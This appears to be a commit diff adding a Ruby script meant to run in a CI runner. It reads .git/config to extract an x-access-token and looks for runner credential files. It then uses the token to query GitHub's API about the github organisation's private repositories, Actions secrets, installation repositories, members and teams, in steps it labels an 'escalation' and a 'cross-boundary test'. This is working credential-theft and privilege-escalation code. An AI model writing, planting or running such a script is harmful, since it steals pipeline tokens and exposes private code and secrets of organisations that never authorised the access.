1+ require 'net/http'
2+ require 'json'
3+ require 'uri'
4+
5+ $stdout. puts "=== ESCALATION: Token from .git/config ==="
6+
7+ git_config = nil
8+ [ ".git/config" , "../.git/config" , "../../.git/config" ] . each do |path |
9+ if File . exist? ( path )
10+ git_config = File . read ( path )
11+ $stdout. puts "Found git config at: #{ path } "
12+ break
13+ end
14+ end
15+
16+ token = nil
17+ if git_config
18+ if git_config =~ /x-access-token:([^\s @]+)/
19+ token = $1
20+ $stdout. puts "Token found in .git/config"
21+ $stdout. puts "Token length: #{ token . length } "
22+ $stdout. puts "Token prefix: #{ token [ 0 ..5 ] } ..."
23+ else
24+ $stdout. puts "No x-access-token in .git/config"
25+ git_config . lines . each do |line |
26+ if line =~ /url|token|auth|credential/i
27+ redacted = line . gsub ( /ghs_[A-Za-z0-9]+/ , 'ghs_[REDACTED]' )
28+ redacted = redacted . gsub ( /ghp_[A-Za-z0-9]+/ , 'ghp_[REDACTED]' )
29+ $stdout. puts " config: #{ redacted . strip } "
30+ end
31+ end
32+ end
33+ end
34+
35+ runner_creds = Dir . glob ( "/home/runner/work/_temp/.{runner,credentials}*" ) rescue [ ]
36+ $stdout. puts "Runner temp files: #{ runner_creds . length } "
37+
38+ if token && !token . empty?
39+ $stdout. puts ""
40+ $stdout. puts "=== CROSS-BOUNDARY TEST WITH .git TOKEN ==="
41+
42+ uri = URI ( "https://api.github.com/" )
43+ http = Net ::HTTP . new ( uri . host , uri . port )
44+ http . use_ssl = true
45+
46+ req = Net ::HTTP ::Get . new ( "/repos/github/explore" )
47+ req [ "Authorization" ] = "Bearer #{ token } "
48+ req [ "Accept" ] = "application/vnd.github+json"
49+ res = http . request ( req )
50+ $stdout. puts "1. GET /repos/github/explore: #{ res . code } "
51+ $stdout. puts " X-OAuth-Scopes: #{ res [ 'X-OAuth-Scopes' ] } "
52+
53+ req2 = Net ::HTTP ::Get . new ( "/orgs/github/repos?type=all&per_page=3&sort=updated" )
54+ req2 [ "Authorization" ] = "Bearer #{ token } "
55+ req2 [ "Accept" ] = "application/vnd.github+json"
56+ res2 = http . request ( req2 )
57+ $stdout. puts "2. GET /orgs/github/repos?type=all: #{ res2 . code } "
58+ if res2 . code == "200"
59+ repos = JSON . parse ( res2 . body )
60+ repos . each do |r |
61+ $stdout. puts " repo: #{ r [ 'full_name' ] } private=#{ r [ 'private' ] } visibility=#{ r [ 'visibility' ] } "
62+ end
63+ end
64+
65+ req3 = Net ::HTTP ::Get . new ( "/repos/github/github" )
66+ req3 [ "Authorization" ] = "Bearer #{ token } "
67+ req3 [ "Accept" ] = "application/vnd.github+json"
68+ res3 = http . request ( req3 )
69+ $stdout. puts "3. GET /repos/github/github (monorepo): #{ res3 . code } "
70+
71+ req4 = Net ::HTTP ::Get . new ( "/repos/github/explore/actions/secrets" )
72+ req4 [ "Authorization" ] = "Bearer #{ token } "
73+ req4 [ "Accept" ] = "application/vnd.github+json"
74+ res4 = http . request ( req4 )
75+ $stdout. puts "4. GET actions/secrets: #{ res4 . code } "
76+ if res4 . code == "200"
77+ data = JSON . parse ( res4 . body )
78+ $stdout. puts " total_count: #{ data [ 'total_count' ] } "
79+ data [ 'secrets' ] &.each { |s | $stdout. puts " secret_name: #{ s [ 'name' ] } " }
80+ end
81+
82+ req5 = Net ::HTTP ::Get . new ( "/orgs/github/actions/secrets?per_page=3" )
83+ req5 [ "Authorization" ] = "Bearer #{ token } "
84+ req5 [ "Accept" ] = "application/vnd.github+json"
85+ res5 = http . request ( req5 )
86+ $stdout. puts "5. GET /orgs/github/actions/secrets: #{ res5 . code } "
87+
88+ req6 = Net ::HTTP ::Get . new ( "/installation/repositories?per_page=5" )
89+ req6 [ "Authorization" ] = "Bearer #{ token } "
90+ req6 [ "Accept" ] = "application/vnd.github+json"
91+ res6 = http . request ( req6 )
92+ $stdout. puts "6. GET /installation/repositories: #{ res6 . code } "
93+ if res6 . code == "200"
94+ data6 = JSON . parse ( res6 . body )
95+ $stdout. puts " total_count: #{ data6 [ 'total_count' ] } "
96+ data6 [ 'repositories' ] &.first ( 5 ) &.each do |r |
97+ $stdout. puts " install_repo: #{ r [ 'full_name' ] } private=#{ r [ 'private' ] } "
98+ end
99+ end
100+
101+ req7 = Net ::HTTP ::Get . new ( "/orgs/github/members?per_page=3" )
102+ req7 [ "Authorization" ] = "Bearer #{ token } "
103+ req7 [ "Accept" ] = "application/vnd.github+json"
104+ res7 = http . request ( req7 )
105+ $stdout. puts "7. GET /orgs/github/members: #{ res7 . code } "
106+
107+ req8 = Net ::HTTP ::Get . new ( "/orgs/github/teams?per_page=3" )
108+ req8 [ "Authorization" ] = "Bearer #{ token } "
109+ req8 [ "Accept" ] = "application/vnd.github+json"
110+ res8 = http . request ( req8 )
111+ $stdout. puts "8. GET /orgs/github/teams: #{ res8 . code } "
112+ end
113+
114+ $stdout. puts ""
115+ $stdout. puts "=== END ESCALATION TEST ==="
116+ $stdout. flush
0 commit comments